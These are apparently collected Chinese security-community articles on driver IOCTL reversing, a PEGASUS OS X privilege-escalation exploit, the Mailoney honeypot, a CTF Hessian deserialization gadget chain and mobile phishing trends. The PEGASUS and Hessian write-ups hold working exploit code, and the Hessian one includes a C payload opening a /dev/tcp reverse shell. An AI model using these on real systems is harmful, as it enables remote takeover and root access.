IO控制代码（IOCTL）是我们的主要搜寻目标，因为其中包含我们需要知道的很多重要细节。它是以DWORD表示，每一个32位都表示有关请求的详细信息，包括设备类型、需要的访问、函数代码和传输类型。微软提供了一个可视化的图表来分解这些字段：
1、传输类型：定义将数据传递到驱动程序地方式，具体的类型可以是`METHOD_BUFFERED、METHOD_IN_DIRECT`、`METHOD_OUT_DIRECT`或`METHOD_NEITHER`。
2、函数代码：驱动程序要执行的内部函数。这部分应该是以0x800开始，但实际上我们会发现，很多都是从0x0开始的。其中的自定义位（Custom
bit）用于定义厂商分配的值。
3、设备类型：在`IoCreateDevice(Secure)()`指定的驱动程序设备对象类型。在Wdm.h和Ntddk.h中，定义了许多设备类型，但对于软件驱动程序而言，最常见的一种就是`FILE_DEVICE_UNKNOWN
(0x22)`。其中的通用位（Common bit）用于定义厂商分配的值。
驱动程序标头定义示例如下：
#define MYDRIVER_IOCTL_DOSOMETHING CTL_CODE(0x8000, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
我们完全可以自行对这些值进行解码，但如果大家觉得解码过程过于繁琐，可以使用OSR的在线解码器。并且，我们发现!ioctldecode
Windbg扩展可能对这一过程非常有帮助。当我们编写与目标驱动程序接口的应用程序时，这些细节将尤为重要。在反汇编程序中，它们仍然会以十六进制表示。
### 2.4 组合
我知道，上述的过程可能太过复杂。但是，我们可以对其进行简化，并类比于发送网络数据包的过程来对其进行分析。我们可以使用所需的任何细节来构造数据包，然后将其发送到服务器进行处理，使用该数据包执行某些操作。而对于服务器端，要不然会忽略我们的数据包，要不然会返回一些结果。接下来，我们对IOCTL的发送和处理方式进行简化并说明：
1、用户模式应用程序获取符号链接上的句柄。
2、用户模式应用程序使用`DeviceIoControl()`将所需的IOCTL和输入/输出缓冲区发送到符号链接。
3、符号链接指向驱动程序的设备对象，并允许驱动程序接收用户模式应用程序的数据包（IRP）。
4、驱动程序看到该数据包来自DeviceIoControl()，因此将其传递给已定义的内部函数`MyCtlFunction()`。
5、`MyCtlFunction()`将函数代码0x800映射到内部函数`SomeFunction()`。
6、`SomeFunction()`执行。
7、IRP已经完成，其状态以及驱动程序在用户模式应用程序中提供的输出缓冲区中包含的为用户提供的所有内容都将传回给用户。
注意：在这里我们并不是说IRP已经完成，但需要关注的是，一旦`SomeFunction()`执行，上述时间就可以发生，并且将得到函数返回的状态代码，这表明操作的结束。
## 三、驱动程序反编译
现在，我们已经对需要探寻的关键结构有了一定了解，是时候开始深入研究目标驱动程序了。我们会清晰展现出如何在Ghidra中执行此操作，IDA中的方法与之完全相同。
一旦我们将要定位的驱动程序下载到我们的分析环境中，就应该开始寻找IRP Handler，该处理程序会使我们明确潜在的关键函数。
### 3.1 设置
由于Ghidra中并没有包含太多分析驱动程序所需的符号，所以我们需要找到一种方法，以某种方式将其进行导入。幸运的是，感谢0x6d696368（Mich）此前所做的研究工作，帮助我们简化了这一过程。
Ghidra支持Ghidra数据类型存档（GDT）格式的数据类型，这些数据类型是打包的二进制文件，其中包含从所选标头衍生出的符号，这些符号可能是自定义的，也可能是微软提供的。有关这些文件的文档并不多，并且确实需要进行一些手工修改，但幸运的是，Mich已经完成了这部分工作。
我们在他的GitHub项目中找到了针对Ntddk.h和Wdm.h的预编译GDT，即ntddk_64.gdt。我们需要在运行Ghidra的系统上下载该文件。
要导入并开始使用GDT文件，我们需要打开要分析的驱动程序，单击“Data Type Manager”的下拉箭头，然后选择“Open File
Archive”。
然后，选择先前下载的ntddk_64.gdt文件并打开。
在“Data Type Manager”窗口中，目前有一个新的条目“ntddk_64”。右键单击该条目，然后选择“Apply Function Data
Types”，随后将会更新反编译器，并且可以看到许多函数签名的变化。
### 3.2 查找DriverEntry
现在，我们已经对数据类型进行了排序，接下来需要确定驱动程序对象。这个过程相对简单，因为它是`DriverEntry`的第一个参数。首先，在Ghidra中打开驱动程序，并进行初始的自动分析。在“Symbol
Tree”窗口下，展开“Exports”项目，就可以找到有一个名为entry的函数。
注意：在某些情况下，可能还会有一个`GsDriverEntry`函数，看起来像是对两个未命名函数的调用。这是开发人员使用/GS编译器标志并设置栈Cookie的结果。其中的一个函数是真正的驱动程序入口，因此我们需要检查其中较长的一个函数。
### 3.3 查找IRP Handler
我们需要查找的第一个内容是驱动程序对象的一系列偏移量。这些都与`nt!_DRIVER_OBJECT`结构的属性有关。其中，我们最感兴趣的一个是MajorFunction表（+0x70）。
使用我们新应用的符号，就变得容易很多。因为我们知道，`DriverEntry`的第一个参数是指向驱动程序对象的指针，所以我们可以在反编译器中单击该参数，然后按CTRL+L来调出数据类型选择器，搜索`PDRIVER_OBJECT`，然后单击“OK”，这样将更改参数的类型以对应其真实类型。
注意：我希望将参数名称更改为`DriverObject`，以在执行该函数时为我提供一些帮助。要执行此操作，需要单击参数，然后按“L”，然后输入要使用的名称。
现在，我们就有了适当的类型，是时候开始寻找`MajorFunction`表的偏移量了。有时候，我们可能会在`DriverEntry`函数中看到这个权限，但有时可以看到驱动程序对象作为参数传递给另一个内部函数。
接下来，我们查找`DriverObject`变量的出现。使用鼠标可以轻松完成查找工作，只需要在变量上单击鼠标滚轮，反编译器中就可以突出显示该变量的所有实例。在我们使用的示例中，没有看到对驱动程序对象的偏移量的引用，但发现它被传递到另一个函数。
我们跳到`FUN_00011060`这个函数，然后将第一个参数重新输入到`PDRIVER_OBJECT`中，因为我们知道`DriverEntry`将其作为唯一参数显示。
然后，再次开始从`DriverObject`变量中搜索对偏移量的引用。我们正在寻找的是：
在vanilla
Ghidra中，我们将这些视图视为`DriverObject`的详细偏移量，但由于我们已经应用了NTDDK数据类型，因此现在它变得更为整洁。现在，我们已经找到了标记了`MajorFunction`表的`DriverObject`偏移量，索引的位置是(0,
2, 0xe)？这些偏移量都是在WDM标头（wdm.h）中定义，代表IRP主要函数代码。
在我们的示例中，驱动程序处理3个主要函数代码————`IRP_MJ_CREATE`、`IRP_MJ_CLOSE`和`IRP_MJ_DEVICE_CONTROL`。其中，前两个我们并不关注，但第三个`IRP_MJ_DEVICE_CONTROL`非常关键，因为在该偏移量（0x104bc）处定义的函数使用了`DeviceIoControl`及其包含的I/O控制代码（IOCTL）来处理从用户模式发出的请求。
接下来，让我们深入研究该函数。我们查看`MajorFunction[0xe]`的偏移量，将会看到驱动程序中偏移量为0x104bc的函数。该函数的第二个参数以及所有设备I/O控制IRP
Handler是指向IRP的指针。我们可以再次使用CTLR+L，将第二个参数重新命名为PIRP（或者其他自定义名称）。
IRP结构非常复杂，即使有了我们新的类型定义，也无法弄清楚所有内容。在其中，我们首先要寻找的是IOCTL。这部分在反编译器中将以DWORD来表示，但我们需要知道它们将分配给哪个变量。为了弄明白这一点，我们要依靠我们的老朋友————WinDbg。
我们可以看到，IRP的第一个偏移量是`IRP->Tail + 0x40`。
接下来，我们深入研究一下IRP结构。
我们可以看到Tail是从偏移量+0x78开始，但是0x40字节又是什么呢？借助WinDbg，我们可以看到`CurrentStackLocation`是位于`Irp->Tail`偏移量+0x40的位置，但仅仅显示为一个指针。
微软似乎暗示，这是指向`_IO_STACK_LOCATION`结构的指针。因此，在反编译器中，我们可以将lVar2重命名为CurrentStackLocation。
在这个新变量之后，我们希望找到对偏移量+0x18（即IOCTL）的引用。
如果希望，还可以将该变量重命名为便于识别的名称。
现在，我们已经找到了包含IOCTL的变量，我们看到，它与一系列DWORD进行了比较。
这些比较是驱动程序检查这些IOCTL是否属于其可以处理的范围。在每次比较之后，可能会发生内部函数调用。当特定的IOCTL从用户模式发送到驱动程序时，将会执行这些操作。在上面的示例中，驱动程序收到IOCTL
0x8000204c时，将执行`FUN_0000944c`（某些类型的打印函数）和`FUN_000100d0`。
### 3.4 小结
上面的信息量有点大，但实际上非常简单。我们将其总结为以下的工作流程：
1、跟随`DriverEntry`的第一个参数，即驱动程序对象，直至找到指示`MajorFunction`表的偏移量。
2、在`MajorFunction[0xe]`处查找偏移量，标记DeviceIoControl IRP Handler。
3、跟随这个函数的第二个参数PIRP，直至找到`PIRP->Tail +0x40`，将其标记为CurrentStackLocation。
4、从`CurrentStackLocation`查找偏移量+0x18，这就是我们想寻找的IOCTL。
在很多情况下，我们会跳过第3步和第4步，并借助反编译器进行一连串的DWORD比较。如果为了方便，我们往往会寻找对`IofCompleteRequest`的调用，然后从调用向上滚动，以查找DWORD比较。
## 四、函数逆向
既然我们已经知道驱动程序收到IOCTL时哪些函数会在内部执行，我们就可以开始逆向这些函数，以找到有趣的功能。由于各个驱动程序之间的差异很大，因此我们的分析中就没有包含这部分内容。
在这里，我的常用思路是，在这些函数中查找有趣的API调用，确定输入所需的内容，然后使用简单的用户模式客户端（根据目标来复制并修改的通用模板）来发送IRP。在分析EDR驱动程序时，我还希望了解它们具体的功能，例如进程对象处理程序回调。在此过程中，我找到了一些不错的驱动程序漏洞，可以激发出我们的一些灵感。
需要注意的一件重要事情，特别是在使用Ghidra时，需要注意这个变量声明：
如果我们在WinDbg中查看此内容，我们可以发现，在这个偏移量的位置是指向`MasterIrp`的指针。
实际上，我们看到的是与`IRP->SystemBuffer`的并集，该变量实际上是`METHOD_BUFFERED`数据结构。这也就是为什么我们经常会看到它作为参数传递给内部函数的原因。在对内部函数进行逆向的过程中，请确保将其视为输入/输出缓冲区。
祝大家好运，狩猎愉快！ | 社区文章 |
来源链接：[阿里聚安全博客]()
作者： **蒸米@阿里移动安全**
### 0x00 序
这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用的iOS
PEGASUS（又称Trident三叉戟）0day漏洞了。为了修复该漏洞，苹果专门发布了一个iOS 9.3.5版本。
这个漏洞的厉害之处在于可以直接从沙盒内对内核进行攻击(无需沙盒逃逸)，并且同时影响iOS(9.3.4)和OS X
(10.11.6)。因此，==本篇文章将会从PEGASUS漏洞形成的原因开始分析，然后一步一步教大家写出OS X上利用PEGASUS提权的攻击代码。==
**《iOS冰与火之歌》这一系列文章的目录如下：**
1. Objective-C Pwn and iOS arm64 ROP
2. 在非越狱的iOS上进行App Hook（番外篇）
3. App Hook答疑以及iOS 9砸壳（番外篇）
4. 利用XPC过App沙盒
5. UAF and Kernel PWN
6. 基于PEGASUS（三叉戟）的OS X 10.11.6本地提权 (番外篇)
**另外文中涉及代码可在我的github下载:** https://github.com/zhengmin1989/iOS_ICE_AND_FIRE
### 0x01 漏洞分析
PEGASUS（三叉戟）实际上是由三个漏洞组成，分别是：
CVE-2016-4657：Safari的Webkit内核上的内存破坏漏洞。 CVE-2016-4655：内核信息泄露漏洞，可用于绕过KASLR。
CVE-2016-4656：内核UAF漏洞，可用于控制内核并执行任意代码。
关于CVE-2016-4657目前还没有公开的资料，但Stefan
Esser和Pangu分别爆出了另外两个漏洞CVE-2016-4655和CVE-2016-4656的细节。利用已经曝光的这两个漏洞，其实已经可以做到iOS非完美越狱和OS
X本地提权了。下面我们就来讲解一下这两个漏洞形成的原因以及如何利用。
### 0x02 CVE-2016-4655 内核信息泄露
CVE-2016-4655这个漏洞形成的原因是内核在序列化和反序列化OSNumber的时候没有验证长度的正确性。因此，如果我们将number的长度设置的非常长，并用`io_registry_entry_get_property()`去获取number数据的话，就会造成内核的信息泄露。
我们知道内核栈中会保存函数的返回地址，因此我们可以利用这个返回地址去计算出内核的kslide，从而攻破kaslr的保护。
那么如何编写利用代码呢？我们先创建一个序列化后的dictionary。对内核来说，这个dictionary应该是这样的：
<dict>
<key>min</key>
<number>0x4141414141414141</number>
</dict>
但是我们对OSNumber的长度进行了修改，变成了0x200：
uint32_t data[] = {
0x000000d3,
0x81000001,
0x08000004, 0x006e696d,
0x84000200, //change the length of OSNumber
0x41414141, 0x41414141
};
发送这个给内核后，内核在反序列化的时候就会出现错误。随后我们使用io_registry_entry_get_property_bytes()这个用户态函数就可以获取到内核返回的数据了。
因为我们修改了OS
number的长度，所以返回的数据不光有我们发送给内核的number，还有栈上数据，比如函数ret时候的返回地址-0xFFFFFF80003934BF。
通过这个地址我们就可以计算出来kslide了。
### 0x03 CVE-2016-4656 内核代码执行
CVE-2016-4656这个漏洞其实有两种触发UAF的方法，我们这里先讲比较简单的那一种（两种方法在Stefan
Esser的文章中都有介绍）。简单UAF漏洞形成的原因是OSUnserializeBinary支持用OSString和OSSymbol来作为key，并且支持用OSObject去引用之前的key。但是OSString和OSSymbol不一样的地方在于，OSString
key转换为OSSymbol的过程中OSString已经被free掉了，但这个OSString却被加入了对象列表里。
因此当我们OSObject类型去引用一个已经被释放了的OSString的时候，就会产生UAF崩溃：
通过汇编崩溃的位置我们可以找到源码对应的位置是在341行创建OSObject对象的时候：
因此，如果我们能够在OSString被free的时候，立刻申请一段和OSString一样大小的内存并且构造好对应的vtable数据，当程序执行到OSObject创建的时候，内核就能成功的被我们控制。
那么如何编写利用代码呢？我们还是先创建一个序列化后的dictionary。对内核来说，这个dictionary应该是这样的：
<dict>
<string>A</string>
<bool>true</bool>
<key>B</key>
<data>vtable data...</data>
<object>1</object>
</dict>
内核随后会解析这个dictionary，正如我们之前分析的，OSString-”A”在创建完后就被free掉了，这时候，我们立刻创建OSSymbol-”B”以及和OSString-”A”大小相同的OSData，就可以在OSString-”A”
free后重新控制这块内存，随后当内核使用OSObject引用OSString-”A”，并调用retain()函数的时候，其实就是在调用我们已经控制的vtable了。
### 0x04 利用ROP提权
首先我们先申请一块内存来放vtable和ROP chain，在OS X上有一种取巧的方法，如果我们是32位的程序的话，可以使用NULL
page。因此，我们先用vm_allocate()申请到NULL Page，然后将vtable和ROP chain都保存在NULL page里：
随后在OS
X上用rop提权的代码我们可以直接使用tpwn的：首先获得当前进程的ucred，然后将cr_svuid设置为0，最后用thread_exception_return退出进程。
### 0x05 测试EXP
编写完代码后，我们来尝试执行一下我们的exp。
首先说一下测试环境：Mac OS X EI Capitan 10.11.6 (15G31)，在没有安装2016-01的security
update的情况下（这时候内核相当于iOS 9.3.4，如果安装完2016-01 update就相当于iOS 9.3.5）。
接下来我们编译一下我们的exp：
clang -framework IOKit -framework Foundation -framework CoreFoundation -m32 -Wl,-pagezero_size,0 -O3 exp.m lsym.m -o exp
然后运行：
可以看到我们已经成功的获取了root权限。
### 0x06 总结
这篇文章介绍了如何利用PEGASUS（Trident三叉戟）做到内核信息泄露以及内核代码执行，然后利用rop获取root权限。另外，因为PEGASUS（Trident三叉戟）同时存在于iOS和OS
X，有兴趣的同学可以在我们发布的攻击代码的基础上，尝试一下iOS攻击代码的编写。
基于PEGASUS（Trident三叉戟）的OS X 10.11.6本地提权exp的下载地址：
https://github.com/zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS
### 0x07 参考资料
1. http://blog.pangu.io/cve-2016-4655/
2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html
3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/
4. https://github.com/kpwn/tpwn
作者：蒸米@阿里移动安全，更多安全类技术文章，请访问[阿里聚安全博客](http://jaq.alibaba.com/community/index.htm?spm=a313e.7916648.0.0.k6HjhT)
* * * | 社区文章 |
# 蜜罐介绍
Mailoney是T-pot蜜罐系统中针对SMTP协议的一个蜜罐，该蜜罐中有三种工作模式，分别为open_relay，postfix_creds，schizo_open_relay。各种模式功能如下：
open_relay-只是一个通用的open relay，将收到的邮件远程主机地址，收件方，发件方和传输的数据都存到了logs/mail.log中。
postfix_creds-此模块只记录登录尝试的用户名密码，将其存放在存放在logs/credentials.log中。
schizo_open_relay-此模块记录所有内容，将收到的邮件远程主机地址，收件方，发件方和传输的数据都存到了logs/mail.log中，同时增加了对shellcode的检测和记录，若存在shellcode，则将数据存放在shellcode.log中；增加了对命令的检测和记录，若存在命令执行，则将命令存放在commands.log中。该模式还增加了hpfeeds协议，方便在集成的
T-pot系统中进行信息传输。
# 工作原理
## 工作流程
Maioney通过命令行模式运行蜜罐，设定的参数如下：
> usage: mailoney.py [-h] [-i <ip address>] [-p <port>] [-s mailserver] -t
{open_relay,postfix_creds,schizo_open_relay}
[-logpath <logpath>] [-hpfserver <hpfeeds-server>]
[-hpfport <hpfeeds-port>] [-hpfident <hpfeeds-ident>]
[-hpfsecret <hpfeeds-secret>]
[-hpfchannelprefix <hpfeeds-channel-prefix>]
使用时必须指定-t参数确定工作模式
项目的ip和监听端口在不指定的情况下默认为0.0.0.0:25
蜜罐运行时会首先根据参数设定变量值，创建日志存放目录，根据指定的模式运行对应脚本。
接下来对几种模式进行介绍。
## 功能实现
### open_relay
open_relay工作模式记录尝试发送的全文电子邮件，其中定义了一个OpenRelay类，并创建OpenRelay对象对SMTP进行搭建，监听，OpenRelay类继承了smtpd
中的SMTPServer类，并对该类的process_message方法进行了重写。重写的process_message方法将收到的邮件远程主机地址，收件方，发件方和传输的数据都存到了logs/mail.log中，代码如下图所示：
### postfix_creds
postfix_creds模式会记录登录尝试的用户名和密码信息，并将捕获的信息存放在logs/credentials.log中。这种模式的意义在于记录攻击方的burp字典，借鉴提高真实的系统中用户名密码安全性。
服务器端服务由socket包实现，对指定的ip及端口进行监听。
EHLO命令ehlo是对helo的扩展，即extend
helo，可以支持authorization，即用户认证。每次连接首先判断是否收到ehlo命令，收到该命令后才能进行认证登录。
然后判断是否收到AUTH请求，若收到该请求可以将请求的认证信息存储下来。
该模式下的AUTH认证是无法成功登陆的，因为没有设定用户信息
### schizo_open_relay
schizo_open_relay模式对比open_relay模式略有变化，增加了对shellcode的检测和记录，若存在shellcode，则将数据存放在shellcode.log中，也增加了EHLO和AUTH命令。
功能变化在于对SMTPServer类和该类继承的SMTPChannel类进行了更改。
#### SMTPChannel类的变化
该模式中的SMTPChannel类在原有SMTPChannel类的基础上增加了smtp_EHLO，smtp_AUTH方法，使蜜罐可以接受EHLO和AUTH命令。
SMTPChannel类同时对collect_incoming_data和found_terminator方法进行了重写。collect_incoming_data方法是对接受到信息的一个预处理，若客户端传输的数据大小超过了1M，则会对数据进行缩减，删去前面1M内容，然后调用process_packet_for_shellcode方法对数据进行shellcode检测。
process_packet_for_shellcode方法中调用了pylibemu模块，该模块可以实现对shellcode的识别，其中test方法可以剖析shellcode字节并识别Windows系统调用，以及其参数和返回值等。若存在shellcode，则将数据存放在shellcode.log中。
found_terminator方法在识别客户端发出的命令并执行的同时将命令存储在commands.log中
#### SMTPServer类的更改
对SMTPServer类的更改则是去掉了部分的信息回显，增加了handle_close函数，用于关闭当今连接。
对SMTPServer类的继承
SchizoOpenRelay是SMTPServer类的子类，它对process_message方法进行了重写，将邮件ip，端口，发送方，接收方和传输的数据存在mail.log中。
#### Hpfeeds协议
如上图所示，schizo_openrelay模式使用了Hpfeeds协议，
hpfeeds是一个轻量级的、需要认证的、支持任意的二进制载荷的公开协议。发布者/订阅者拥有着自己的发布/订阅频道，发布者可以通过发布频道发送消息，订阅者可以通过订阅频道接收消息，这很适合用于分布式的蜜罐网络传输数据。
当系统记录信息时，在将信息记录到本地log文件的同时会将信息通过发布频道上传到hpfeeds服务器。
# 蜜罐优化
对schizo_open_relay的AUTH功能进行优化，添加参数设置SMTP服务的用户名密码，用户信息建议使用常见弱密码，目的在于提升蜜罐的迷惑性。
首先增加参数设置，用户名密码默认为user/password
然后对smtp_AUTH函数进行修改 | 社区文章 |
周末和cx某人打了0ctf ，继hfctf2022 ezchain 找到rome二次反序列化链之后 ，hessian到挖jdk原生链了2333.
环境 ： 只有 hessian 4.0.38 + jdk8u342 直接就是hessian 反序列化，挖jdk原生链
hessian不需要继承serializable，
设置 SerializerFactory里面 setAllowNonSerializable(true);就行
和xstream有点类似 ，所以hessian的jdk原生链可以从xstream的历史链来作参考 。
<https://x-stream.github.io/CVE-2021-21346.html>
Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()
但是实际上并不能直接用，
首先是javax.swing.MultiUIDefaults
在反序列化的时候就会报错java.lang.IllegalAccessException: Class
com.caucho.hessian.io.MapDeserializer can not access a member of class
javax.swing.MultiUIDefaults with modifiers "public"
所以需要找个类替代 MultiUIDefaults ，UIDefaults 是继承Hashtable的 ，所以需要toString() ->
Hashtable.get() 的 ，找到了个java.awt.datatransfer.MimeTypeParameterList
java.awt.datatransfer.MimeTypeParameterList
private Hashtable<String, String> parameters;
public String toString() {
Enumeration<String> keys = parameters.keys();
while(keys.hasMoreElements())
{
buffer.append("; ");
String key = keys.nextElement();
...
buffer.append(quote(parameters.get(key)));
....
}
}
## 触发toString()
构造畸形的序列化数据
在Hessian2Input.expect这里
protected IOException expect(String expect, int ch) throws IOException {
....
try {
...
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
}
obj.getClass().getName() + " (" + obj + ")" + "\n " 直接将obj拼接了 可以触发toString
在Hessian2Input.readObject case67 的时候->
this.readObjectDefinition((Class)null);->
throw this.expect("string", tag);-> this.expect()
所以重写
com.caucho.hessian.io.Hessian2Output在 writeString这里改下就行
## SwingLazyValue && ProxyLazyValue
在SwingLazyValue.createValue中
拿到public static 的方法 然后invoke ，一般来说这种是用jndi来打比较多，但是题目没有tomcat 或者gadget，
所以jndi没法使用
然后这里有个大坑等等说到。
题目将
com.sun.org.apache.xml.internal.security.utils.JavaUtils 给ban了
看一下这个类原本的writeBytesToFilename ，直接写文件
public static void writeBytesToFilename(String filename, byte[] bytes) {
if (filename != null && bytes != null) {
try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
outputStream.write(bytes);
所以现在思路应该很清晰了，在写文件的情况下 一般都是和System.load 组合拳 ，现在就是需要找一个public static
的写文件方法绕过JavaUtils.writeBytesToFilename（后来被告知是非预期解 打脸）
然后就是找 ， 找到jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode
然后就是一个大坑。。。
因为classLoader的原因 ，在SwingLazyValue这里只能加载rt.jar 里面的类
而我找的jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode 位于nashorn.jar 里面
无法加载，在这里卡了很久 ，后来看到了个 ProxyLazyValue.createValue
public Object createValue(final UIDefaults table) {
if (acc == null && System.getSecurityManager() != null) {
throw new SecurityException("null AccessControlContext");
}
return AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
try {
Class<?> c;
Object cl;
if (table == null || !((cl = table.get("ClassLoader"))
instanceof ClassLoader)) {
cl = Thread.currentThread().
getContextClassLoader();
if (cl == null) {
cl = ClassLoader.getSystemClassLoader();
}
}
ReflectUtil.checkPackageAccess(className);
c = Class.forName(className, true, (ClassLoader)cl);
SwingUtilities2.checkAccess(c.getModifiers());
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
} else {
获取到classLoader ，所以就能正常加载jdk 里面nashorn.jar 这些里面的类了
然后由于Hessian 序列化的机制，ProxyLazyValue里面的 field acc 是在反序列化过程中会报错 ， 所以需要将acc
反射设置为null
使用DumpBytecode.dumpBytecode 创建个动态链接库， 然后System.load 执行就行了
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) aasdnqwgasdela1 (){
system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
system("/bin/bash /tmp/1");
}
gcc -c a.c -o a && gcc a --share -o a.so
创建文件
SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.setSerializerFactory(sf);
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code=Files.readAllBytes(Paths.get("a.so"));
String classname="asdxxxxxxx";
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
setFieldValue(proxyLazyValue,"acc",null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q", proxyLazyValue);
Class clazz;
clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
out.writeString("aaaxxxx");
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
Files.write(Paths.get("ser"),bytes);
System.load 直接改下调用方法就行了,System.load 在rt.jar 里面 用SwingLazyValue 也一样
SwingLazyValue swingLazyValue = new SwingLazyValue("java.lang.System", "load", new Object[]{
"/tmp/asdxxxxxxx.class"
});
稳
附上完整调用栈
dumpBytecode:94, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang) | 社区文章 |
# Malwarebytes：移动端钓鱼攻击的两三事
|
##### 译文声明
本文是翻译文章，文章原作者 Malwarebytes，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/101/2018/12/something-else-phishy-detect-phishing-attempts-mobile/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
IBM在2011年发布的报告中指出，通过对钓鱼活动涉及的网站中的访问日志进行分析，他们发现与PC端用户相比，移动端用户更可能遭遇网络钓鱼诈骗，其可能性要比PC端用户高出三倍。
如今，越来越多的而移动端网络钓鱼攻击出现，且有明显的增加趋势。而且其首选的目标用户为：iPhone用户。移动安全解决方案提供商Wandera通过大量的跟踪和分析后发现，iOS用户遇到的网络钓鱼攻击次数是Android用户的两倍。
## 二、分析
### 移动网络钓鱼介绍
下面是最近一段时间有关移动端网络钓鱼的概述：
Lookout（私人IT安全公司）在其发布的“[Mobile phishing 2018: Myths and facts facing every
modern enterprise
today](https://info.lookout.com/rs/051-ESQ-475/images/Lookout-Phishing-wp-us.pdf)（2018年移动网络钓鱼报告）”白皮书中指出，自2011年以来，用户点击网络钓鱼链接的次数平均增长了85%。
Anti-Phishing Working Group (APWG，反网络钓鱼工作组)在其最新的报告“[Phishing Activity Trend
Report](https://docs.apwg.org/reports/apwg_trends_report_q2_2018.pdf)（网络钓鱼活动趋势报告）”中指出，在2018年第一季度的统计中，网络钓鱼攻击的首要目标一直是与支付服务相关的行业，占比36%。
APWG在报告中还提到，所有的网络钓鱼站点中有35%使用[HTTPS](https://blog.malwarebytes.com/glossary/hyper-text-transfer-protocol-secure-https/)和SSL证书，APWG预计在以后的网络钓鱼活动中会出现更多的HTTPS滥用手段。
Wombat Security(一家软件公司)在他们的报告 “[2018 State of
Phish](https://www.wombatsecurity.com/state-of-the-phish)”中提到了[smishing](https://blog.malwarebytes.com/glossary/sms-phishing-smishing/)的概念，smishing是通过短信息进行移动端的网络钓鱼。Wombat Security认为，这种网络钓鱼方式将会持续增加。
PhishLabs在其名为“[2018 Phishing Trends & Intelligence
Report](https://info.phishlabs.com/hubfs/2018%20PTI%20Report/PhishLabs%20Trend%20Report_2018-digital.pdf)(2018网络钓鱼趋势和情报报告)”的报告中表示：2017年下半年与电子邮件/在线服务相关的恶意事件居首位（26.1％），并且有许多网络钓鱼的URL模仿Microsoft
Office 365的登录页面，这表明针对企业的钓鱼活动呈上升趋势。
PhishLabs还指出，通过SaaS（软件即服务，是一种软件交付模式）模式进行的网络钓鱼活动急剧增加，这种类似的攻击方式在2015年之前很少发生。但在接下来的两年中增加了一倍以上。
Wandera（一家私人安全公司）声称：[移动端的钓鱼攻击占所有的钓鱼攻击的48%](https://www.wandera.com/mobile-phishing-attacks/)，[ios用户遭遇网络钓鱼的可能性比下载恶意软件高出18倍](https://www.wandera.com/mobile-phishing-attacks/)。
### 移动网络钓鱼诈骗类型
网络钓鱼攻击不再仅限于电子邮件，在移动端也变得越来越多，移动设备具有固定的设计和功能，网络钓鱼者利用这一点创建获取他人数据的有效方法。
